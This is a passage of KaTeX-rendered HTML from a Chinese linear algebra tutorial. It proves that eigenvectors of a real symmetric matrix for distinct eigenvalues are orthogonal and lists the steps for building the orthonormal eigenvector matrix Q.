class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><mo mathvariant="normal">≠</mo><msub><mi>λ</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> \lambda_1 \neq \lambda_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>y</mi><mo>=</mo><msub><mi>λ</mi><mn>2</mn></msub><mi>y</mi></mrow><annotation encoding="application/x-tex"> Sy = \lambda_2 y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>，左乘 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> x^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>y</mi><mo>=</mo><msub><mi>λ</mi><mn>2</mn></msub><msup><mi>x</mi><mi>T</mi></msup><mi>y</mi></mrow><annotation encoding="application/x-tex"> x^T S y = \lambda_2 x^T y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>。</p><p>又因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>=</mo><msup><mi>S</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> S = S^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>y</mi><mo>=</mo><mo stretchy="false">(</mo><mi>S</mi><mi>x</mi><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mi>y</mi><mo>=</mo><mo stretchy="false">(</mo><msub><mi>λ</mi><mn>1</mn></msub><mi>x</mi><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mi>y</mi><mo>=</mo><msub><mi>λ</mi><mn>1</mn></msub><msup><mi>x</mi><mi>T</mi></msup><mi>y</mi></mrow><annotation encoding="application/x-tex"> x^T S y = (S x)^T y = (\lambda_1 x)^T y = \lambda_1 x^T y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>。</p><p>所以可得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><msup><mi>x</mi><mi>T</mi></msup><mi>y</mi><mo>=</mo><msub><mi>λ</mi><mn>2</mn></msub><msup><mi>x</mi><mi>T</mi></msup><mi>y</mi></mrow><annotation encoding="application/x-tex"> \lambda_1 x^T y = \lambda_2 x^T y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>。</p><p>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>λ</mi><mn>1</mn></msub><mo>−</mo><msub><mi>λ</mi><mn>2</mn></msub><mo stretchy="false">)</mo><msup><mi>x</mi><mi>T</mi></msup><mi>y</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> (\lambda_1 - \lambda_2) x^T y = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><p>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>y</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> x^T y = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><blockquote><p><strong>Orthogonal Eigenvectors</strong> Eigenvectors of a real symmetric matrix (when they correspond to different eigenvalues) are always perpendicular.</p></blockquote><p>注意：不是所有特征向量都正交，对应不同特征值的特征向量一定正交，同一特征值的特征向量有可能正交。对称矩阵中，同一特征值的特征向量可以通过施密特正交化变成正交的。</p><p>求一个实对称矩阵的特征值和特征向量和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 的步骤：</p><ol><li><p>求解特征多项式 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>S</mi><mo>−</mo><mi>λ</mi><mi>I</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(S - \lambda I) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，得到所有特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>λ</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>λ</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> \lambda_1, \lambda_2, \ldots, \lambda_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>对于每个特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> \lambda_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，求解齐次线性方程组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>S</mi><mo>−</mo><msub><mi>λ</mi><mi>i</mi></msub><mi>I</mi><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> (S - \lambda_i I)x = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，得到对应的特征向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> x_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>此时特征向量是正交的但未归一化，将每个特征向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> x_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 归一化，得到单位特征向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mi>i</mi></msub><mo>=</mo><mfrac><msub><mi>x</mi><mi>i</mi></msub><mrow><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><msub><mi>x</mi><mi>i</mi></msub><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex"> q_i = \frac{x_i}{||x_i||} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2315em;vertical-align:-0.52em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7115em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∣∣</span><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mord mtight">∣∣</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p></li><li><p>将所有特征向量组成矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi><mo>=</mo><mo stretchy="false">[</mo><msub><mi>q</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>q</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>q</mi><mi>n</mi></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex"> Q = [q_1, q_2, \ldots, q_n] </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span 